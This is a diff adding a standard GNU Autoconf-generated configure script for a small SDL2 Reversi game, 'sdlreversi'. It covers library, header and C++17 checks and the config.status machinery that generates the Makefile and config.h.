+LIBS=$ac_check_lib_save_LIBS +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_SDL2_SDL_Init" >&5 +printf "%s\n" "$ac_cv_lib_SDL2_SDL_Init" >&6; } +if test "x$ac_cv_lib_SDL2_SDL_Init" = xyes +then : + printf "%s\n" "#define HAVE_LIBSDL2 1" >>confdefs.h + + LIBS="-lSDL2 $LIBS" + +else $as_nop + as_fn_error $? "libSDL2 missing." "$LINENO" 5 +fi + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for TTF_Init in -lSDL2_ttf" >&5 +printf %s "checking for TTF_Init in -lSDL2_ttf... " >&6; } +if test ${ac_cv_lib_SDL2_ttf_TTF_Init+y} +then : + printf %s "(cached) " >&6 +else $as_nop + ac_check_lib_save_LIBS=$LIBS +LIBS="-lSDL2_ttf $LIBS" +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +char TTF_Init (); +int +main (void) +{ +return TTF_Init (); + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + ac_cv_lib_SDL2_ttf_TTF_Init=yes +else $as_nop + ac_cv_lib_SDL2_ttf_TTF_Init=no +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_SDL2_ttf_TTF_Init" >&5 +printf "%s\n" "$ac_cv_lib_SDL2_ttf_TTF_Init" >&6; } +if test "x$ac_cv_lib_SDL2_ttf_TTF_Init" = xyes +then : + printf "%s\n" "#define HAVE_LIBSDL2_TTF 1" >>confdefs.h + + LIBS="-lSDL2_ttf $LIBS" + +else $as_nop + as_fn_error $? "libSDL2_ttf missing." "$LINENO" 5 +fi + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for Mix_Init in -lSDL2_mixer" >&5 +printf %s "checking for Mix_Init in -lSDL2_mixer... " >&6; } +if test ${ac_cv_lib_SDL2_mixer_Mix_Init+y} +then : + printf %s "(cached) " >&6 +else $as_nop + ac_check_lib_save_LIBS=$LIBS +LIBS="-lSDL2_mixer $LIBS" +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +char Mix_Init (); +int +main (void) +{ +return Mix_Init (); + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + ac_cv_lib_SDL2_mixer_Mix_Init=yes +else $as_nop + ac_cv_lib_SDL2_mixer_Mix_Init=no +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_SDL2_mixer_Mix_Init" >&5 +printf "%s\n" "$ac_cv_lib_SDL2_mixer_Mix_Init" >&6; } +if test "x$ac_cv_lib_SDL2_mixer_Mix_Init" = xyes +then : + printf "%s\n" "#define HAVE_LIBSDL2_MIXER 1" >>confdefs.h + + LIBS="-lSDL2_mixer $LIBS" + +else $as_nop + as_fn_error $? "libSDL2_mixer missing." "$LINENO" 5 +fi + + +# Checks for header files. +ac_header= ac_cache= +for ac_item in $ac_header_c_list +do + if test $ac_cache; then + ac_fn_c_check_header_compile "$LINENO" $ac_header ac_cv_header_$ac_cache "$ac_includes_default" + if eval test \"x\$ac_cv_header_$ac_cache\" = xyes; then + printf "%s\n" "#define $ac_item 1" >> confdefs.h + fi + ac_header= ac_cache= + elif test $ac_header; then + ac_cache=$ac_item + else + ac_header=$ac_item + fi +done + + + + + + + + +if test $ac_cv_header_stdlib_h = yes && test $ac_cv_header_string_h = yes +then : + +printf "%s\n" "#define STDC_HEADERS 1" >>confdefs.h + +fi + for ac_header in SDL2/SDL.h +do : + ac_fn_c_check_header_compile "$LINENO" "SDL2/SDL.h" "ac_cv_header_SDL2_SDL_h" "$ac_includes_default" +if test "x$ac_cv_header_SDL2_SDL_h" = xyes +then : + printf "%s\n" "#define HAVE_SDL2_SDL_H 1" >>confdefs.h + +else $as_nop + as_fn_error $? "SDL2 missing." "$LINENO" 5 +fi + +done + +# Checks for typedefs, structures, and compiler characteristics. + + ax_cxx_compile_alternatives="17 1z" ax_cxx_compile_cxx17_required=true + ac_ext=cpp +ac_cpp='$CXXCPP $CPPFLAGS' +ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_cxx_compiler_gnu + ac_success=no + + + + if test x$ac_success = xno; then + for alternative in ${ax_cxx_compile_alternatives}; do + switch="-std=gnu++${alternative}" + cachevar=`printf "%s\n" "ax_cv_cxx_compile_cxx17_$switch" | $as_tr_sh` + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether $CXX supports C++17 features with $switch" >&5 +printf %s "checking whether $CXX supports C++17 features with $switch... " >&6; } +if eval test \${$cachevar+y} +then : + printf %s "(cached) " >&6 +else $as_nop + ac_save_CXX="$CXX" + CXX="$CXX $switch" +if ac_fn_cxx_try_compile "$LINENO" +then : + eval $cachevar=yes +else $as_nop + eval $cachevar=no +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + CXX="$ac_save_CXX" +fi +eval ac_res=\$$cachevar + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 +printf "%s\n" "$ac_res" >&6; } + if eval test x\$$cachevar = xyes; then + CXX="$CXX $switch" + if test -n "$CXXCPP" ; then + CXXCPP="$CXXCPP $switch" + fi + ac_success=yes + break + fi + done + fi + + + ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + if test x$ax_cxx_compile_cxx17_required = xtrue; then + if test x$ac_success = xno; then + as_fn_error $? "*** A compiler with support for C++17 language features is required." "$LINENO" 5 + fi + fi + if test x$ac_success = xno; then + HAVE_CXX17=0 + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: No compiler with C++17 support was found" >&5 +printf "%s\n" "$as_me: No compiler with C++17 support was found" >&6;} + else + HAVE_CXX17=1 + +printf "%s\n" "#define HAVE_CXX17 1" >>confdefs.h + + fi + + + +ac_config_files="$ac_config_files Makefile" + +cat >confcache <<\_ACEOF +# This file is a shell script that caches the results of configure +# tests run on this system so they can be shared between configure +# scripts and configure runs, see configure's option --config-cache. +# It is not useful on other systems. If it contains results you don't +# want to keep, you may remove or edit it. +# +# config.status only pays attention to the cache file if you give it +# the --recheck option to rerun configure. +# +# `ac_cv_env_foo' variables (set or unset) will be overridden when +# loading this file, other *unset* `ac_cv_foo' will be assigned the +# following values. + +_ACEOF + +# The following way of writing the cache mishandles newlines in values, +# but we know of no workaround that is simple, portable, and efficient. +# So, we kill variables containing newlines. +# Ultrix sh set writes to stderr and can't be redirected directly, +# and sets the high bit in the cache file unless we assign to the vars. +( + for ac_var in `(set) 2>&1 | sed -n 's/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'`; do + eval ac_val=\$$ac_var + case $ac_val in #( + *${as_nl}*) + case $ac_var in #( + *_cv_*) { printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: cache variable $ac_var contains a newline" >&5 +printf "%s\n" "$as_me: WARNING: cache variable $ac_var contains a newline" >&2;} ;; + esac + case $ac_var in #( + _ | IFS | as_nl) ;; #( + BASH_ARGV | BASH_SOURCE) eval $ac_var= ;; #( + *) { eval $ac_var=; unset $ac_var;} ;; + esac ;; + esac + done + + (set) 2>&1 | + case $as_nl`(ac_space=' '; set) 2>&1` in #( + *${as_nl}ac_space=\ *) + # `set' does not quote correctly, so add quotes: double-quote + # substitution turns \\\\ into \\, and sed turns \\ into \. + sed -n \ + "s/'/'\\\\''/g; + s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\\2'/p" + ;; #( + *) + # `set' quotes correctly as required by POSIX, so do not add quotes. + sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" + ;; + esac | + sort +) | + sed ' + /^ac_cv_env_/b end + t clear + :clear + s/^\([^=]*\)=\(.*[{}].*\)$/test ${\1+y} || &/ + t end + s/^\([^=]*\)=\(.*\)$/\1=${\1=\2}/ + :end' >>confcache +if diff "$cache_file" confcache >/dev/null 2>&1; then :; else + if test -w "$cache_file"; then + if test "x$cache_file" != "x/dev/null"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: updating cache $cache_file" >&5 +printf "%s\n" "$as_me: updating cache $cache_file" >&6;} + if test ! -f "$cache_file" || test -h "$cache_file"; then + cat confcache >"$cache_file" + else + case $cache_file in #( + */* | ?:*) + mv -f confcache "$cache_file"$$ && + mv -f "$cache_file"$$ "$cache_file" ;; #( + *) + mv -f confcache "$cache_file" ;; + esac + fi + fi + else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: not updating unwritable cache $cache_file" >&5 +printf "%s\n" "$as_me: not updating unwritable cache $cache_file" >&6;} + fi +fi +rm -f confcache + +test "x$prefix" = xNONE && prefix=$ac_default_prefix +# Let make expand exec_prefix. +test "x$exec_prefix" = xNONE && exec_prefix='${prefix}' + +DEFS=-DHAVE_CONFIG_H + +ac_libobjs= +ac_ltlibobjs= +U= +for ac_i in : $LIBOBJS; do test "x$ac_i" = x: && continue + # 1. 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[TAG]... + + -h, --help print this help, then exit + -V, --version print version number and configuration settings, then exit + --config print configuration, then exit + -q, --quiet, --silent + do not print progress messages + -d, --debug don't remove temporary files + --recheck update $as_me by reconfiguring in the same conditions + --file=FILE[:TEMPLATE] + instantiate the configuration file FILE + --header=FILE[:TEMPLATE] + instantiate the configuration header FILE + +Configuration files: +$config_files + +Configuration headers: +$config_headers + +Configuration commands: +$config_commands + +Report bugs to ." + +_ACEOF +ac_cs_config=`printf "%s\n" "$ac_configure_args" | sed "$ac_safe_unquote"` +ac_cs_config_escaped=`printf "%s\n" "$ac_cs_config" | sed "s/^ //; s/'/'\\\\\\\\''/g"` +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +ac_cs_config='$ac_cs_config_escaped' +ac_cs_version="\\ +sdlreversi config.status 1.0 +configured by $0, generated by GNU Autoconf 2.71, + with options \\"\$ac_cs_config\\" + +Copyright (C) 2021 Free Software Foundation, Inc. +This config.status script is free software; the Free Software Foundation +gives unlimited permission to copy, distribute and modify it." + +ac_pwd='$ac_pwd' +srcdir='$srcdir' +INSTALL='$INSTALL' +MKDIR_P='$MKDIR_P' +AWK='$AWK' +test -n "\$AWK" || AWK=awk +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +# The default lists apply if the user does not specify any file. +ac_need_defaults=: +while test $# != 0 +do + case $1 in + --*=?*) + ac_option=`expr "X$1" : 'X\([^=]*\)='` + ac_optarg=`expr "X$1" : 'X[^=]*=\(.*\)'` + ac_shift=: + ;; + --*=) + ac_option=`expr "X$1" : 'X\([^=]*\)='` + ac_optarg= + ac_shift=: + ;; + *) + ac_option=$1 + ac_optarg=$2 + ac_shift=shift + ;; + esac + + case $ac_option in + # Handling of the options. + -recheck | --recheck | --rechec | --reche | --rech | --rec | --re | --r) + ac_cs_recheck=: ;; + --version | --versio | --versi | --vers | --ver | --ve | --v | -V ) + printf "%s\n" "$ac_cs_version"; exit ;; + --config | --confi | --conf | --con | --co | --c ) + printf "%s\n" "$ac_cs_config"; exit ;; + --debug | --debu | --deb | --de | --d | -d ) + debug=: ;; + --file | --fil | --fi | --f ) + $ac_shift + case $ac_optarg in + *\'*) ac_optarg=`printf "%s\n" "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"` ;; + '') as_fn_error $? "missing file argument" ;; + esac + as_fn_append CONFIG_FILES " '$ac_optarg'" + ac_need_defaults=false;; + --header | --heade | --head | --hea ) + $ac_shift + case $ac_optarg in + *\'*) ac_optarg=`printf "%s\n" "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"` ;; + esac + as_fn_append CONFIG_HEADERS " '$ac_optarg'" + ac_need_defaults=false;; + --he | --h) + # Conflict between --help and --header + as_fn_error $? "ambiguous option: \`$1' +Try \`$0 --help' for more information.";; + --help | --hel | -h ) + printf "%s\n" "$ac_cs_usage"; exit ;; + -q | -quiet | --quiet | --quie | --qui | --qu | --q \ + | -silent | --silent | --silen | --sile | --sil | --si | --s) + ac_cs_silent=: ;; + + # This is an error. + -*) as_fn_error $? "unrecognized option: \`$1' +Try \`$0 --help' for more information." ;; + + *) as_fn_append ac_config_targets " $1" + ac_need_defaults=false ;; + + esac + shift +done + +ac_configure_extra_args= + +if $ac_cs_silent; then + exec 6>/dev/null + ac_configure_extra_args="$ac_configure_extra_args --silent" +fi + +_ACEOF +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +if \$ac_cs_recheck; then + set X $SHELL '$0' $ac_configure_args \$ac_configure_extra_args --no-create --no-recursion + shift + \printf "%s\n" "running CONFIG_SHELL=$SHELL \$*" >&6 + CONFIG_SHELL='$SHELL' + export CONFIG_SHELL + exec "\$@" +fi + +_ACEOF +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +exec 5>>config.log +{ + echo + sed 'h;s/./-/g;s/^.../## /;s/...$/ ##/;p;x;p;x' <<_ASBOX +## Running $as_me. ## +_ASBOX + printf "%s\n" "$ac_log" +} >&5 + +_ACEOF +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +# +# INIT-COMMANDS +# +AMDEP_TRUE="$AMDEP_TRUE" MAKE="${MAKE-make}" + +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 + +# Handling of arguments. +for ac_config_target in $ac_config_targets +do + case $ac_config_target in + "config.h") CONFIG_HEADERS="$CONFIG_HEADERS config.h" ;; + "depfiles") CONFIG_COMMANDS="$CONFIG_COMMANDS depfiles" ;; + "Makefile") CONFIG_FILES="$CONFIG_FILES Makefile" ;; + + *) as_fn_error $? "invalid argument: \`$ac_config_target'" "$LINENO" 5;; + esac +done + + +# If the user did not use the arguments to specify the items to instantiate, +# then the envvar interface is used. Set only those that are not. +# We use the long form for the default assignment because of an extremely +# bizarre bug on SunOS 4.1.3. +if $ac_need_defaults; then + test ${CONFIG_FILES+y} || CONFIG_FILES=$config_files + test ${CONFIG_HEADERS+y} || CONFIG_HEADERS=$config_headers + test ${CONFIG_COMMANDS+y} || CONFIG_COMMANDS=$config_commands +fi + +# Have a temporary directory for convenience. Make it in the build tree +# simply because there is no reason against having it here, and in addition, +# creating and moving files from /tmp can sometimes cause problems. +# Hook for its removal unless debugging. +# Note that there is a small window in which the directory will not be cleaned: +# after its creation but before its name has been assigned to `$tmp'. +$debug || +{ + tmp= ac_tmp= + trap 'exit_status=$? + : "${ac_tmp:=$tmp}" + { test ! -d "$ac_tmp" || rm -fr "$ac_tmp"; } && exit $exit_status +' 0 + trap 'as_fn_exit 1' 1 2 13 15 +} +# Create a (secure) tmp directory for tmp files. + +{ + tmp=`(umask 077 && mktemp -d "./confXXXXXX") 2>/dev/null` && + test -d "$tmp" +} || +{ + tmp=./conf$$-$RANDOM + (umask 077 && mkdir "$tmp") +} || as_fn_error $? "cannot create a temporary directory in ." "$LINENO" 5 +ac_tmp=$tmp + +# Set up the scripts for CONFIG_FILES section. +# No need to generate them if there are no CONFIG_FILES. +# This happens for instance with `./config.status config.h'. +if test -n "$CONFIG_FILES"; then + + +ac_cr=`echo X | tr X '\015'` +# On cygwin, bash can eat \r inside `` if the user requested igncr. +# But we know of no other shell where ac_cr would be empty at this +# point, so we can use a bashism as a fallback. +if test "x$ac_cr" = x; then + eval ac_cr=\$\'\\r\' +fi +ac_cs_awk_cr=`$AWK 'BEGIN { print "a\rb" }' /dev/null` +if test "$ac_cs_awk_cr" = "a${ac_cr}b"; then + ac_cs_awk_cr='\\r' +else + ac_cs_awk_cr=$ac_cr +fi + +echo 'BEGIN {' >"$ac_tmp/subs1.awk" && +_ACEOF + + +{ + echo "cat >conf$$subs.awk <<_ACEOF" && + echo "$ac_subst_vars" | sed 's/.*/&!$&$ac_delim/' && + echo "_ACEOF" +} >conf$$subs.sh || + as_fn_error $? "could not make $CONFIG_STATUS" "$LINENO" 5 +ac_delim_num=`echo "$ac_subst_vars" | grep -c '^'` +ac_delim='%!_!# ' +for ac_last_try in false false false false false :; do + . ./conf$$subs.sh || + as_fn_error $? "could not make $CONFIG_STATUS" "$LINENO" 5 + + ac_delim_n=`sed -n "s/.*$ac_delim\$/X/p" conf$$subs.awk | grep -c X` + if test $ac_delim_n = $ac_delim_num; then + break + elif $ac_last_try; then + as_fn_error $? "could not make $CONFIG_STATUS" "$LINENO" 5 + else + ac_delim="$ac_delim!$ac_delim _$ac_delim!! " + fi +done +rm -f conf$$subs.sh + +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +cat >>"\$ac_tmp/subs1.awk" <<\\_ACAWK && +_ACEOF +sed -n ' +h +s/^/S["/; s/!.*/"]=/ +p +g +s/^[^!]*!// +:repl +t repl +s/'"$ac_delim"'$// +t delim +:nl +h +s/\(.\{148\}\)..*/\1/ +t more1 +s/["\\]/\\&/g; s/^/"/; s/$/\\n"\\/ +p +n +b repl +:more1 +s/["\\]/\\&/g; s/^/"/; s/$/"\\/ +p +g +s/.\{148\}// +t nl +:delim +h +s/\(.\{148\}\)..*/\1/ +t more2 +s/["\\]/\\&/g; s/^/"/; s/$/"/ +p +b +:more2 +s/["\\]/\\&/g; s/^/"/; s/$/"\\/ +p +g +s/.\{148\}// +t delim +' >$CONFIG_STATUS || ac_write_fail=1 +rm -f conf$$subs.awk +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +_ACAWK +cat >>"\$ac_tmp/subs1.awk" <<_ACAWK && + for (key in S) S_is_set[key] = 1 + FS = "" + +} +{ + line = $ 0 + nfields = split(line, field, "@") + substed = 0 + len = length(field[1]) + for (i = 2; i < nfields; i++) { + key = field[i] + keylen = length(key) + if (S_is_set[key]) { + value = S[key] + line = substr(line, 1, len) "" value "" substr(line, len + keylen + 3) + len += length(value) + length(field[++i]) + substed = 1 + } else + len += 1 + keylen + } + + print line +} + +_ACAWK +_ACEOF +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +if sed "s/$ac_cr//" < /dev/null > /dev/null 2>&1; then + sed "s/$ac_cr\$//; s/$ac_cr/$ac_cs_awk_cr/g" +else + cat +fi < "$ac_tmp/subs1.awk" > "$ac_tmp/subs.awk" \ + || as_fn_error $? "could not setup config files machinery" "$LINENO" 5 +_ACEOF + +# VPATH may cause trouble with some makes, so we remove sole $(srcdir), +# ${srcdir} and @srcdir@ entries from VPATH if srcdir is ".", strip leading and +# trailing colons and then remove the whole line if VPATH becomes empty +# (actually we leave an empty line to preserve line numbers). +if test "x$srcdir" = x.; then + ac_vpsub='/^[ ]*VPATH[ ]*=[ ]*/{ +h +s/// +s/^/:/ +s/[ ]*$/:/ +s/:\$(srcdir):/:/g +s/:\${srcdir}:/:/g +s/:@srcdir@:/:/g +s/^:*// +s/:*$// +x +s/\(=[ ]*\).*/\1/ +G +s/\n// +s/^[^=]*=[ ]*$// +}' +fi + +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +fi # test -n "$CONFIG_FILES" + +# Set up the scripts for CONFIG_HEADERS section. +# No need to generate them if there are no CONFIG_HEADERS. +# This happens for instance with `./config.status Makefile'. +if test -n "$CONFIG_HEADERS"; then +cat >"$ac_tmp/defines.awk" <<\_ACAWK || +BEGIN { +_ACEOF + +# Transform confdefs.h into an awk script `defines.awk', embedded as +# here-document in config.status, that substitutes the proper values into +# config.h.in to produce config.h. + +# Create a delimiter string that does not exist in confdefs.h, to ease +# handling of long lines. +ac_delim='%!_!# ' +for ac_last_try in false false :; do + ac_tt=`sed -n "/$ac_delim/p" confdefs.h` + if test -z "$ac_tt"; then + break + elif $ac_last_try; then + as_fn_error $? "could not make $CONFIG_HEADERS" "$LINENO" 5 + else + ac_delim="$ac_delim!$ac_delim _$ac_delim!! " + fi +done + +# For the awk script, D is an array of macro values keyed by name, +# likewise P contains macro parameters if any. Preserve backslash +# newline sequences. + +ac_word_re=[_$as_cr_Letters][_$as_cr_alnum]* +sed -n ' +s/.\{148\}/&'"$ac_delim"'/g +t rset +:rset +s/^[ ]*#[ ]*define[ ][ ]*/ / +t def +d +:def +s/\\$// +t bsnl +s/["\\]/\\&/g +s/^ \('"$ac_word_re"'\)\(([^()]*)\)[ ]*\(.*\)/P["\1"]="\2"\ +D["\1"]=" \3"/p +s/^ \('"$ac_word_re"'\)[ ]*\(.*\)/D["\1"]=" \2"/p +d +:bsnl +s/["\\]/\\&/g +s/^ \('"$ac_word_re"'\)\(([^()]*)\)[ ]*\(.*\)/P["\1"]="\2"\ +D["\1"]=" \3\\\\\\n"\\/p +t cont +s/^ \('"$ac_word_re"'\)[ ]*\(.*\)/D["\1"]=" \2\\\\\\n"\\/p +t cont +d +:cont +n +s/.\{148\}/&'"$ac_delim"'/g +t clear +:clear +s/\\$// +t bsnlc +s/["\\]/\\&/g; s/^/"/; s/$/"/p +d +:bsnlc +s/["\\]/\\&/g; s/^/"/; s/$/\\\\\\n"\\/p +b cont +' >$CONFIG_STATUS || ac_write_fail=1 + +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 + for (key in D) D_is_set[key] = 1 + FS = "" +} +/^[\t ]*#[\t ]*(define|undef)[\t ]+$ac_word_re([\t (]|\$)/ { + line = \$ 0 + split(line, arg, " ") + if (arg[1] == "#") { + defundef = arg[2] + mac1 = arg[3] + } else { + defundef = substr(arg[1], 2) + mac1 = arg[2] + } + split(mac1, mac2, "(") #) + macro = mac2[1] + prefix = substr(line, 1, index(line, defundef) - 1) + if (D_is_set[macro]) { + # Preserve the white space surrounding the "#". + print prefix "define", macro P[macro] D[macro] + next + } else { + # Replace #undef with comments. This is necessary, for example, + # in the case of _POSIX_SOURCE, which is predefined and required + # on some systems where configure will not decide to define it. + if (defundef == "undef") { + print "/*", prefix defundef, macro, "*/" + next + } + } +} +{ print } +_ACAWK +_ACEOF +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 + as_fn_error $? "could not setup config headers machinery" "$LINENO" 5 +fi # test -n "$CONFIG_HEADERS" + + +eval set X " :F $CONFIG_FILES :H $CONFIG_HEADERS :C $CONFIG_COMMANDS" +shift +for ac_tag +do + case $ac_tag in + :[FHLC]) ac_mode=$ac_tag; continue;; + esac + case $ac_mode$ac_tag in + :[FHL]*:*);; + :L* | :C*:*) as_fn_error $? "invalid tag \`$ac_tag'" "$LINENO" 5;; + :[FH]-) ac_tag=-:-;; + :[FH]*) ac_tag=$ac_tag:$ac_tag.in;; + esac + ac_save_IFS=$IFS + IFS=: + set x $ac_tag + IFS=$ac_save_IFS + shift + ac_file=$1 + shift + + case $ac_mode in + :L) ac_source=$1;; + :[FH]) + ac_file_inputs= + for ac_f + do + case $ac_f in + -) ac_f="$ac_tmp/stdin";; + *) # Look for the file first in the build tree, then in the source tree + # (if the path is not absolute). The absolute path cannot be DOS-style, + # because $ac_f cannot contain `:'. + test -f "$ac_f" || + case $ac_f in + [\\/$]*) false;; + *) test -f "$srcdir/$ac_f" && ac_f="$srcdir/$ac_f";; + esac || + as_fn_error 1 "cannot find input file: \`$ac_f'" "$LINENO" 5;; + esac + case $ac_f in *\'*) ac_f=`printf "%s\n" "$ac_f" | sed "s/'/'\\\\\\\\''/g"`;; esac + as_fn_append ac_file_inputs " '$ac_f'" + done + + # Let's still pretend it is `configure' which instantiates (i.e., don't + # use $as_me), people would be surprised to read: + # /* config.h. Generated by config.status. */ + configure_input='Generated from '` + printf "%s\n" "$*" | sed 's|^[^:]*/||;s|:[^:]*/|, |g' + `' by configure.' + if test x"$ac_file" != x-; then + configure_input="$ac_file. $configure_input" + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: creating $ac_file" >&5 +printf "%s\n" "$as_me: creating $ac_file" >&6;} + fi + # Neutralize special characters interpreted by sed in replacement strings. + case $configure_input in #( + *\&* | *\|* | *\\* ) + ac_sed_conf_input=`printf "%s\n" "$configure_input" | + sed 's/[\\\\&|]/\\\\&/g'`;; #( + *) ac_sed_conf_input=$configure_input;; + esac + + case $ac_tag in + *:-:* | *:-) cat >"$ac_tmp/stdin" \ + || as_fn_error $? "could not create $ac_file" "$LINENO" 5 ;; + esac + ;; + esac + + ac_dir=`$as_dirname -- "$ac_file" || +$as_expr X"$ac_file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$ac_file" : 'X\(//\)[^/]' \| \ + X"$ac_file" : 'X\(//\)$' \| \ + X"$ac_file" : 'X\(/\)' \| . 2>/dev/null || +printf "%s\n" X"$ac_file" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + as_dir="$ac_dir"; as_fn_mkdir_p + ac_builddir=. + +case "$ac_dir" in +.) ac_dir_suffix= ac_top_builddir_sub=. ac_top_build_prefix= ;; +*) + ac_dir_suffix=/`printf "%s\n" "$ac_dir" | sed 's|^\.[\\/]||'` + # A ".." for each directory in $ac_dir_suffix. + ac_top_builddir_sub=`printf "%s\n" "$ac_dir_suffix" | sed 's|/[^\\/]*|/..|g;s|/||'` + case $ac_top_builddir_sub in + "") ac_top_builddir_sub=. ac_top_build_prefix= ;; + *) ac_top_build_prefix=$ac_top_builddir_sub/ ;; + esac ;; +esac +ac_abs_top_builddir=$ac_pwd +ac_abs_builddir=$ac_pwd$ac_dir_suffix +# for backward compatibility: +ac_top_builddir=$ac_top_build_prefix + +case $srcdir in + .) # We are building in place. + ac_srcdir=. + ac_top_srcdir=$ac_top_builddir_sub + ac_abs_top_srcdir=$ac_pwd ;; + [\\/]* | ?:[\\/]* ) # Absolute name. + ac_srcdir=$srcdir$ac_dir_suffix; + ac_top_srcdir=$srcdir + ac_abs_top_srcdir=$srcdir ;; + *) # Relative name. + ac_srcdir=$ac_top_build_prefix$srcdir$ac_dir_suffix + ac_top_srcdir=$ac_top_build_prefix$srcdir + ac_abs_top_srcdir=$ac_pwd/$srcdir ;; +esac +ac_abs_srcdir=$ac_abs_top_srcdir$ac_dir_suffix + + + case $ac_mode in + :F) + # + # CONFIG_FILE + # + + case $INSTALL in + [\\/$]* | ?:[\\/]* ) ac_INSTALL=$INSTALL ;; + *) ac_INSTALL=$ac_top_build_prefix$INSTALL ;; + esac + ac_MKDIR_P=$MKDIR_P + case $MKDIR_P in + [\\/$]* | ?:[\\/]* ) ;; + */*) ac_MKDIR_P=$ac_top_build_prefix$MKDIR_P ;; + esac +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +# If the template does not know about datarootdir, expand it. +# FIXME: This hack should be removed a few years after 2.60. +ac_datarootdir_hack=; ac_datarootdir_seen= +ac_sed_dataroot=' +/datarootdir/ { + p + q +} +/@datadir@/p +/@docdir@/p +/@infodir@/p +/@localedir@/p +/@mandir@/p' +case `eval "sed -n \"\$ac_sed_dataroot\" $ac_file_inputs"` in +*datarootdir*) ac_datarootdir_seen=yes;; +*@datadir@*|*@docdir@*|*@infodir@*|*@localedir@*|*@mandir@*) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: $ac_file_inputs seems to ignore the --datarootdir setting" >&5 +printf "%s\n" "$as_me: WARNING: $ac_file_inputs seems to ignore the --datarootdir setting" >&2;} +_ACEOF +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 + ac_datarootdir_hack=' + s&@datadir@&$datadir&g + s&@docdir@&$docdir&g + s&@infodir@&$infodir&g + s&@localedir@&$localedir&g + s&@mandir@&$mandir&g + s&\\\${datarootdir}&$datarootdir&g' ;; +esac +_ACEOF + +# Neutralize VPATH when `$srcdir' = `.'. +# Shell code in configure.ac might set extrasub. +# FIXME: do we really want to maintain this feature? +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +ac_sed_extra="$ac_vpsub +$extrasub +_ACEOF +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +:t +/@[a-zA-Z_][a-zA-Z_0-9]*@/!b +s|@configure_input@|$ac_sed_conf_input|;t t +s&@top_builddir@&$ac_top_builddir_sub&;t t +s&@top_build_prefix@&$ac_top_build_prefix&;t t +s&@srcdir@&$ac_srcdir&;t t +s&@abs_srcdir@&$ac_abs_srcdir&;t t +s&@top_srcdir@&$ac_top_srcdir&;t t +s&@abs_top_srcdir@&$ac_abs_top_srcdir&;t t +s&@builddir@&$ac_builddir&;t t +s&@abs_builddir@&$ac_abs_builddir&;t t +s&@abs_top_builddir@&$ac_abs_top_builddir&;t t +s&@INSTALL@&$ac_INSTALL&;t t +s&@MKDIR_P@&$ac_MKDIR_P&;t t +$ac_datarootdir_hack +" +eval sed \"\$ac_sed_extra\" "$ac_file_inputs" | $AWK -f "$ac_tmp/subs.awk" 